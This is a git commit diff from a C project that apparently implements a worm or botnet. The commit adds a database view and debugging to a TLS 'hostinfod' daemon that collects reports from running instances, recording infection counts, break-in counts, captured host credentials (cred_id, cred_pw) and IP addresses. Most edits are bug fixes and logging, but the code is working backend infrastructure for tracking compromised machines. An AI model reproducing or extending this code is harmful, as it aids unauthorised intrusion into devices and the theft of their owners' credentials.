diff options
author | David Timber <mieabby@gmail.com> | 2021-04-09 20:39:23 +1000 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2021-04-09 20:39:23 +1000 |
commit | d99b1309b1c699103c26b316a373a64f5342b905 (patch) | |
tree | 7f4b6feefb83f0d6217d4a48c5602d88f4a979a7 | |
parent | 875462207d4b702c98a3ef994caef8b1c95a1d9d (diff) |
Impl hostinfod, bug fix and more
* Merge /src/data/sql/hi-create.sql and /src/data/sql/hi-view.sql
* Fix false failure when allocation size is zero
* Add "FIXME" comment where it is not clear whether zero size is
normal case.
* Fix typo in /src/proone-bne.c
* "proone-htbthost": always verify ALPN
* Fix crash bug in `prne_htbt_dser_host_info()`
-rw-r--r-- | src/data/sql/hi-create.sql | 21 | ||||
-rw-r--r-- | src/data/sql/hi-view.sql | 18 | ||||
-rw-r--r-- | src/iobuf.c | 2 | ||||
-rw-r--r-- | src/pack.c | 4 | ||||
-rw-r--r-- | src/proone-bne.c | 2 | ||||
-rw-r--r-- | src/proone-hostinfod.c | 256 | ||||
-rw-r--r-- | src/proone-htbthost.c | 7 | ||||
-rw-r--r-- | src/proone-mkdvault.c | 3 | ||||
-rw-r--r-- | src/proone-pack.c | 3 | ||||
-rw-r--r-- | src/protocol.c | 9 |
10 files changed, 244 insertions, 81 deletions
diff --git a/src/data/sql/hi-create.sql b/src/data/sql/hi-create.sql index 1887d04..b173aaa 100644 --- a/src/data/sql/hi-create.sql +++ b/src/data/sql/hi-create.sql @@ -17,3 +17,24 @@ CREATE TABLE `prne-hi` ( `ipaddr` binary(16) DEFAULT NULL, PRIMARY KEY (`instance_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +CREATE VIEW `prne`.`prne-hi-view` AS + SELECT + HEX(`prne`.`prne-hi`.`instance_id`) AS `HEX(instance_id)`, + `prne`.`prne-hi`.`inserted` AS `inserted`, + `prne`.`prne-hi`.`updated` AS `updated`, + `prne`.`prne-hi`.`parent_uptime` AS `parent_uptime`, + `prne`.`prne-hi`.`child_uptime` AS `child_uptime`, + `prne`.`prne-hi`.`bne_cnt` AS `bne_cnt`, + `prne`.`prne-hi`.`infect_cnt` AS `infect_cnt`, + `prne`.`prne-hi`.`parent_pid` AS `parent_pid`, + `prne`.`prne-hi`.`child_pid` AS `child_pid`, + HEX(`prne`.`prne-hi`.`prog_ver`) AS `HEX(prog_ver)`, + HEX(`prne`.`prne-hi`.`boot_id`) AS `HEX(boot_id)`, + `prne`.`prne-hi`.`cred_id` AS `cred_id`, + `prne`.`prne-hi`.`cred_pw` AS `cred_pw`, + `prne`.`prne-hi`.`crash_cnt` AS `crash_cnt`, + `prne`.`prne-hi`.`arch` AS `arch`, + INET6_NTOA(`prne`.`prne-hi`.`ipaddr`) AS `INET6_NTOA(ipaddr)` + FROM + `prne`.`prne-hi`; diff --git a/src/data/sql/hi-view.sql b/src/data/sql/hi-view.sql deleted file mode 100644 index 39886db..0000000 --- a/src/data/sql/hi-view.sql +++ /dev/null @@ -1,18 +0,0 @@ -SELECT - HEX(instance_id), - inserted, - updated, - parent_uptime, - child_uptime, - bne_cnt, - infect_cnt, - parent_pid, - child_pid, - HEX(prog_ver), - HEX(boot_id), - cred_id, - cred_pw, - crash_cnt, - arch, - INET6_NTOA(ipaddr) -FROM prne.`prne-hi`; diff --git a/src/iobuf.c b/src/iobuf.c index 2b65ce7..a78e965 100644 --- a/src/iobuf.c +++ b/src/iobuf.c @@ -23,7 +23,7 @@ bool prne_alloc_iobuf (prne_iobuf_t *ib, const size_t ny_size) { uint8_t *ny; ny = (uint8_t*)prne_realloc(ib->ownership ? ib->m : NULL, 1, ny_size); - if (ny == NULL) { + if (ny == NULL && ny_size > 0) { return false; } @@ -57,6 +57,10 @@ prne_pack_rc_t prne_index_bin_archive ( goto END; } + /* FIXME + * Is an empty bin archive possible? + * This will fail when nb_bin == 0 + */ bin = (prne_bin_tuple_t*)prne_malloc(sizeof(prne_bin_tuple_t), nb_bin); if (bin == NULL) { ret = PRNE_PACK_RC_ERRNO; diff --git a/src/proone-bne.c b/src/proone-bne.c index 64dcb11..e3165b6 100644 --- a/src/proone-bne.c +++ b/src/proone-bne.c @@ -226,7 +226,7 @@ int main (const int argc, const char **args) { arr = (prne_ip_addr_t*)prne_calloc(sizeof(prne_ip_addr_t), cnt); if (arr == NULL) { ret = 2; - perror("prne_malloc()"); + perror("prne_calloc()"); goto END; } for (size_t i = 0; i < cnt; i += 1) { diff --git a/src/proone-hostinfod.c b/src/proone-hostinfod.c index 9f62be7..0940258 100644 --- a/src/proone-hostinfod.c +++ b/src/proone-hostinfod.c @@ -48,7 +48,11 @@ typedef struct { struct sockaddr_in6 sa; mbedtls_ssl_context ssl; uint16_t exp_msg_id; - client_state_t state; + client_state_t con_state; + struct { + bool hi_sent; + bool hi_received; + } proto_state; char ipaddr_str[INET6_ADDRSTRLEN]; } client_ctx_t; @@ -686,6 +690,7 @@ static prne_llist_entry_t *pop_client_ctx ( prne_free(c); ret = prne_llist_erase(&ctx->c_list, e); incre_conn_ctr(-1); + return ret; } @@ -705,6 +710,12 @@ static bool resize_pfd_arr (th_ctx_t *ctx, const size_t ny_size) { return true; } +static void client_sync_msg (client_ctx_t *c, const char *msg) { + pthread_mutex_lock(&prog_g.stdio_lock); + fprintf(stderr, "client@%"PRIxPTR": %s\n", (uintptr_t)c, msg); + pthread_mutex_unlock(&prog_g.stdio_lock); +} + static void client_sync_perror (client_ctx_t *c, const char *msg) { pthread_mutex_lock(&prog_g.stdio_lock); fprintf( @@ -1006,7 +1017,7 @@ static bool handle_hostinfo ( goto END; } - if (prog_conf.verbose >= PRNE_VL_DBG0) { + if (prog_conf.verbose >= PRNE_VL_DBG0 + 1) { const char *pr[2] = { qv.cred_id, qv.cred_pw }; for (const char *p = pr[0]; *p != 0; p += 1) { @@ -1127,6 +1138,9 @@ static bool handle_hostinfo ( qv.arch, q_str, q_len + 1); + if (prog_conf.verbose >= PRNE_VL_DBG0 + 2) { + client_sync_msg(client, q_str); + } ret = true; pthread_mutex_lock(&prog_g.db.lock); @@ -1183,7 +1197,13 @@ static int proc_client_hostinfo ( &hi); switch (src) { case PRNE_HTBT_SER_RC_OK: + if (prog_conf.verbose >= PRNE_VL_DBG0) { + client_sync_msg(c, "< OP_HOST_INFO"); + } + prne_iobuf_shift(c->ib + 0, -(off + actual)); + c->proto_state.hi_received = true; + c->con_state = CS_CLOSE; if (!handle_hostinfo(c, &hi)) { if (prog_conf.verbose >= PRNE_VL_ERR) { client_sync_perror(c, "** handle_hostinfo"); @@ -1197,14 +1217,14 @@ static int proc_client_hostinfo ( ret = -2; goto END; default: + if (prog_conf.verbose >= PRNE_VL_ERR) { + client_sync_perror(c, "prne_htbt_dser_host_info()"); + } ret = -1; goto END; } END: // CATCH - if (ret < 0) { - prne_iobuf_reset(c->ib + 0); - } prne_htbt_free_host_info(&hi); return ret; } @@ -1229,10 +1249,15 @@ static int proc_client_stream (th_ctx_t *ctx, client_ctx_t *c) { switch (mh.op) { case PRNE_HTBT_OP_SOLICIT: prne_iobuf_shift(c->ib + 0, -actual); - if (mh.is_rsp) { + if (mh.is_rsp || c->proto_state.hi_sent) { goto PROTO_ERR; } + if (prog_conf.verbose >= PRNE_VL_DBG0) { + client_sync_msg(c, "< OP_SOLICIT"); + client_sync_msg(c, "> OP_HOST_INFO"); + } + mh.op = PRNE_HTBT_OP_HOST_INFO; prne_rnd(&ctx->rnd, (uint8_t*)&mh.id, sizeof(mh.id)); mh.id = @@ -1248,6 +1273,8 @@ static int proc_client_stream (th_ctx_t *ctx, client_ctx_t *c) { &actual, &mh); prne_iobuf_shift(c->ib + 1, actual); + c->proto_state.hi_sent = true; + ret = 0; } else { ret = -1; @@ -1269,11 +1296,20 @@ static int proc_client_stream (th_ctx_t *ctx, client_ctx_t *c) { default: prne_iobuf_reset(c->ib + 0); if (fab_client_status_rsp(c, mh.id, PRNE_HTBT_STATUS_UNIMPL, 0)) { - c->state = CS_SHUT; + c->con_state = CS_SHUT; } else { ret = -1; } + if (prog_conf.verbose >= PRNE_VL_WARN) { + pthread_mutex_lock(&prog_g.stdio_lock); + fprintf( + stderr, + "client@%"PRIxPTR": * unimplemented op code %d.\n", + (uintptr_t)c, + mh.op); + pthread_mutex_unlock(&prog_g.stdio_lock); + } goto END; } @@ -1281,20 +1317,30 @@ static int proc_client_stream (th_ctx_t *ctx, client_ctx_t *c) { PROTO_ERR: prne_iobuf_reset(c->ib + 0); if (fab_client_status_rsp(c, mh.id, PRNE_HTBT_STATUS_PROTO_ERR, 0)) { - c->state = CS_SHUT; + c->con_state = CS_SHUT; } else { ret = -1; } + + if (prog_conf.verbose >= PRNE_VL_ERR) { + client_sync_msg(c, "** protocol error."); + } END: // CATCH prne_htbt_free_msg_head(&mh); return ret; } -static int serve_client (th_ctx_t *ctx, client_ctx_t *c) { +static int serve_client ( + th_ctx_t *ctx, + client_ctx_t *c, + const struct timespec now, + const int revents) +{ ssize_t f_ret; + int ret; - if (c->ib[1].len > 0) { + if (c->ib[1].len > 0 && revents & POLLOUT) { // consume out bufs f_ret = mbedtls_ssl_write(&c->ssl, c->ib[1].m, c->ib[1].len); if (f_ret < 0) { @@ -1306,59 +1352,111 @@ static int serve_client (th_ctx_t *ctx, client_ctx_t *c) { } } else if (f_ret == 0) { + if (prog_conf.verbose >= PRNE_VL_DBG0 + 1) { + client_sync_msg(c, "write EOF."); + } if (prog_conf.verbose >= PRNE_VL_ERR) { - pthread_mutex_lock(&prog_g.stdio_lock); - fprintf( - stderr, - "client@%"PRIxPTR": " - "** client shutdown read whilst there's still data to " - "receive\n", - (uintptr_t)c); - pthread_mutex_unlock(&prog_g.stdio_lock); + client_sync_msg( + c, + "** client shutdown whilst there's still data to send."); } return -1; } else { + if (prog_conf.verbose >= PRNE_VL_DBG0 + 1 ) { + pthread_mutex_lock(&prog_g.stdio_lock); + if (prog_conf.verbose >= PRNE_VL_DBG0 + 2) { + fprintf( + stderr, + "client@%"PRIxPTR": > %zd bytes: ", + (uintptr_t)c, + f_ret); + for (ssize_t i = 0; i < f_ret; i += 1) { + fprintf(stderr, "%02"PRIx8" ", c->ib[1].m[i]); + } + fprintf(stderr, "\n"); + } + else { + fprintf( + stderr, + "client@%"PRIxPTR": > %zd bytes.\n", + (uintptr_t)c, + f_ret); + } + pthread_mutex_unlock(&prog_g.stdio_lock); + } + prne_iobuf_shift(c->ib + 1, -f_ret); } } - if (c->state != CS_PROC) { - return c->ib[1].len > 0 ? 1 : 0; + if (c->con_state != CS_PROC) { + if (c->ib[1].len == 0) { + c->con_state = CS_CLOSE; + } + return 0; } // process incoming data from clients if (c->ib[0].avail == 0) { if (prog_conf.verbose >= PRNE_VL_ERR) { - pthread_mutex_lock(&prog_g.stdio_lock); - fprintf( - stderr, - "** client@%"PRIxPTR": no buffer left to process stream!\n", - (uintptr_t)c); - pthread_mutex_unlock(&prog_g.stdio_lock); + client_sync_msg(c, "** no buffer left to process stream!"); } return -1; } - f_ret = mbedtls_ssl_read( - &c->ssl, - c->ib[0].m + c->ib[0].len, - c->ib[0].avail); - if (f_ret < 0) { - if (errno != EAGAIN && errno != EWOULDBLOCK) { - if (prog_conf.verbose >= PRNE_VL_DBG0) { - client_sync_perror(c, "mbedtls_ssl_read()"); + if (revents & POLLIN) { + f_ret = mbedtls_ssl_read( + &c->ssl, + c->ib[0].m + c->ib[0].len, + c->ib[0].avail); + if (f_ret < 0) { + if (errno != EAGAIN && errno != EWOULDBLOCK) { + if (prog_conf.verbose >= PRNE_VL_DBG0) { + client_sync_perror(c, "mbedtls_ssl_read()"); + } + return -1; } - return -1; + return 1; } - return 1; + else if (f_ret == 0) { + c->con_state = CS_SHUT; + if (prog_conf.verbose >= PRNE_VL_DBG0 + 1) { + client_sync_msg(c, "read EOF."); + } + } + + if (prog_conf.verbose >= PRNE_VL_DBG0 + 1 && f_ret > 0) { + pthread_mutex_lock(&prog_g.stdio_lock); + if (prog_conf.verbose >= PRNE_VL_DBG0 + 2) { + fprintf( + stderr, + "client@%"PRIxPTR": < %zd bytes: ", + (uintptr_t)c, + f_ret); + for (ssize_t i = 0; i < f_ret; i += 1) { + fprintf(stderr, "%02"PRIx8" ", c->ib[0].m[i + c->ib[0].len]); + } + fprintf(stderr, "\n"); + } + else { + fprintf( + stderr, + "client@%"PRIxPTR": < %zd bytes.\n", + (uintptr_t)c, + f_ret); + } + pthread_mutex_unlock(&prog_g.stdio_lock); + } + + prne_iobuf_shift(c->ib + 0, f_ret); } - else if (f_ret == 0) { - return 0; + + while ((ret = proc_client_stream(ctx, c)) == 0) { + c->last_op = now; } - prne_iobuf_shift(c->ib + 0, f_ret); - return proc_client_stream(ctx, c); + return ret; } static void thread_tick (th_ctx_t *ctx) { @@ -1376,6 +1474,9 @@ static void thread_tick (th_ctx_t *ctx) { prog_conf.sck_op_timeout); if (prne_cmp_timespec(now, to_tp) > 0) { + if (prog_conf.verbose >= PRNE_VL_DBG0) { + client_sync_msg(c, "timed out(inactive)."); + } e = pop_client_ctx(ctx, e); } else { @@ -1396,7 +1497,7 @@ static void thread_tick (th_ctx_t *ctx) { client_ctx_t *c = (client_ctx_t*)e->element; short events; - switch (c->state) { + switch (c->con_state) { case CS_HANDSHAKE: errno = 0; f_ret = mbedtls_ssl_handshake(&c->ssl); @@ -1406,10 +1507,18 @@ static void thread_tick (th_ctx_t *ctx) { mbedtls_ssl_get_alpn_protocol(&c->ssl), PRNE_HTBT_TLS_ALP)) { + if (prog_conf.verbose >= PRNE_VL_WARN) { + client_sync_msg(c, "* ALPN error."); + } e = pop_client_ctx(ctx, e); continue; } - c->state = CS_PROC; + c->con_state = CS_PROC; + c->last_op = now; + + if (prog_conf.verbose >= PRNE_VL_DBG0) { + client_sync_msg(c, "mbedtls_ssl_handshake() successful."); + } /* fall-through */ case MBEDTLS_ERR_SSL_WANT_READ: events = POLLIN; @@ -1455,6 +1564,10 @@ static void thread_tick (th_ctx_t *ctx) { default: if (f_ret == 0) { shutdown(c->sck, SHUT_RDWR); + + if (prog_conf.verbose >= PRNE_VL_DBG0) { + client_sync_msg(c, "graceful close."); + } } else if (prog_conf.verbose >= PRNE_VL_WARN) { if (errno == 0) { @@ -1480,6 +1593,9 @@ static void thread_tick (th_ctx_t *ctx) { } break; case CS_SHUT: + events = POLLOUT; + e = e->next; + break; case CS_PROC: if (c->ib[1].len > 0) { events = POLLOUT; @@ -1517,7 +1633,7 @@ static void thread_tick (th_ctx_t *ctx) { for (prne_llist_entry_t *e = ctx->c_list.head; e != NULL; pfd_ptr += 1) { client_ctx_t *c = (client_ctx_t*)e->element; - switch (c->state) { + switch (c->con_state) { case CS_PROC: case CS_SHUT: break; @@ -1526,16 +1642,9 @@ static void thread_tick (th_ctx_t *ctx) { continue; } - f_ret = serve_client(ctx, c); + f_ret = serve_client(ctx, c, now, ctx->pfd[pfd_ptr].revents); - if (f_ret >= 0) { - c->last_op = prne_gettime(CLOCK_MONOTONIC); - } - - if (f_ret == 0) { - c->state = CS_CLOSE; - } - else if (f_ret < 0) { + if (f_ret < 0) { e = pop_client_ctx(ctx, e); } else { @@ -1586,11 +1695,18 @@ static void *thread_main (void *ctx_p) { th_ctx_t *ctx = (th_ctx_t*)ctx_p; assert(!mysql_thread_init()); + if (prog_conf.verbose >= PRNE_VL_DBG0) { + pthread_mutex_lock(&prog_g.stdio_lock); + fprintf( + stderr, + "th@%"PRIxPTR" initialised. Loop start.\n", + (uintptr_t)ctx); + pthread_mutex_unlock(&prog_g.stdio_lock); + } while (true) { - read(ctx->ihcp[0], &sewage, 1); - pthread_mutex_lock(&ctx->lock); + while (read(ctx->ihcp[0], &sewage, 1) == 1); do_take_client(ctx); if (ctx->term && ctx->c_list.size == 0) { pthread_mutex_unlock(&ctx->lock); @@ -1608,6 +1724,15 @@ static void *thread_main (void *ctx_p) { thread_tick(ctx); } + if (prog_conf.verbose >= PRNE_VL_DBG0) { + pthread_mutex_lock(&prog_g.stdio_lock); + fprintf( + stderr, + "th@%"PRIxPTR" loop end.\n", + (uintptr_t)ctx); + pthread_mutex_unlock(&prog_g.stdio_lock); + } + mysql_thread_end(); return NULL; @@ -1777,11 +1902,12 @@ static void pass_client_conn ( fprintf( stderr, "New client from [%s]:%"PRIu16" " - "client@%"PRIxPTR", th@%"PRIxPTR"\n", + "client@%"PRIxPTR", th@%"PRIxPTR", fd:%d\n", c_ctx->ipaddr_str, ntohs(sa->sin6_port), (uintptr_t)c_ctx, - (uintptr_t)c_th_ctx); + (uintptr_t)c_th_ctx, + c_ctx->sck); pthread_mutex_unlock(&prog_g.stdio_lock); } @@ -1864,6 +1990,12 @@ int main (const int argc, const char **args) { } th_cnt = prog_conf.nb_thread; + if (prog_conf.verbose >= PRNE_VL_DBG0) { + pthread_mutex_lock(&prog_g.stdio_lock); + fprintf(stderr, "Initialisation complete. Loop start.\n"); + pthread_mutex_unlock(&prog_g.stdio_lock); + } + pfd[0].fd = fd; pfd[0].events = POLLIN; pfd[1].fd = sigpipe[0]; @@ -1901,7 +2033,19 @@ int main (const int argc, const char **args) { } END: // CATCH + if (prog_conf.verbose >= PRNE_VL_DBG0) { + pthread_mutex_lock(&prog_g.stdio_lock); + fprintf(stderr, "Loop end. Joining threads ...\n"); + pthread_mutex_unlock(&prog_g.stdio_lock); + } join_threads(&th_arr, th_cnt); + + if (prog_conf.verbose >= PRNE_VL_DBG0) { + pthread_mutex_lock(&prog_g.stdio_lock); + fprintf(stderr, "Freeing resources ...\n"); + pthread_mutex_unlock(&prog_g.stdio_lock); + } + prne_close(fd); mysql_close(&prog_g.db.c); diff --git a/src/proone-htbthost.c b/src/proone-htbthost.c index b1ac6fa..eb499b6 100644 --- a/src/proone-htbthost.c +++ b/src/proone-htbthost.c @@ -185,10 +185,11 @@ static void load_ssl_conf ( mbedtls_ssl_conf_verify(c_conf, prne_mbedtls_x509_crt_verify_cb, NULL); mbedtls_ssl_conf_rng(c_conf, mbedtls_ctr_drbg_random, rnd); + assert( + mbedtls_ssl_conf_alpn_protocols(c_conf, ALP_LIST) == 0 && + mbedtls_ssl_conf_alpn_protocols(s_conf, ALP_LIST) == 0); + if (htbthost_param.verify) { - assert( - mbedtls_ssl_conf_alpn_protocols(c_conf, ALP_LIST) == 0 && - mbedtls_ssl_conf_alpn_protocols(s_conf, ALP_LIST) == 0); mbedtls_ssl_conf_authmode(c_conf, MBEDTLS_SSL_VERIFY_REQUIRED); mbedtls_ssl_conf_authmode(s_conf, MBEDTLS_SSL_VERIFY_REQUIRED); } diff --git a/src/proone-mkdvault.c b/src/proone-mkdvault.c index bcdc27b..962dcb6 100644 --- a/src/proone-mkdvault.c +++ b/src/proone-mkdvault.c @@ -56,6 +56,9 @@ static void add_file (const prne_data_key_t key, const char *path) { prne_assert(fd >= 0 && size >= 0); prne_assert(lseek(fd, 0, SEEK_SET) == 0); + /* FIXME + * Are empty entries allowed? + */ ENTRIES[key].data = prne_malloc(1, size); ENTRIES[key].size = size; ENTRIES[key].type = PRNE_DATA_TYPE_BIN; diff --git a/src/proone-pack.c b/src/proone-pack.c index 0f6afd7..81699c1 100644 --- a/src/proone-pack.c +++ b/src/proone-pack.c @@ -415,6 +415,9 @@ int main (const int argc, const char **args) { for (i = 0; i < archive_arr_cnt; i += 1) { archive = archive_arr + i; + /* FIXME + * Zero size arhive allowed? + */ archive->m_exec = prne_malloc(1, archive->st.st_size); prne_assert(archive->m_exec != NULL); diff --git a/src/protocol.c b/src/protocol.c index 85a2142..b89b09a 100644 --- a/src/protocol.c +++ b/src/protocol.c @@ -262,7 +262,7 @@ bool prne_htbt_alloc_host_info ( } ny_mem = prne_calloc(1, cred_len); - if (ny_mem == NULL) { + if (ny_mem == NULL && cred_len > 0) { return false; } @@ -345,6 +345,9 @@ bool prne_htbt_alloc_cmd ( if (0 < argc) { mem_len = pos; args = (char**)prne_malloc(sizeof(char*), argc + 1); + /* FIXME + * What if mem_len == 0? + */ mem = (char*)prne_malloc(1, mem_len); if (args == NULL || mem == NULL) { goto ERR; @@ -832,7 +835,6 @@ prne_htbt_ser_rc_t prne_htbt_dser_host_info ( data[91]); out->arch = (prne_arch_t)data[93]; memcpy(out->host_cred, data + 94, cred_size); - out->host_cred[cred_size] = 0; return PRNE_HTBT_SER_RC_OK; } @@ -881,6 +883,9 @@ prne_htbt_ser_rc_t prne_htbt_dser_cmd ( } if (args_len > 0) { + /* FIXME + * args_len == 0 allowed? + */ mem = (char*)prne_malloc(1, args_len); if (mem == NULL) { ret = PRNE_HTBT_SER_RC_ERRNO; |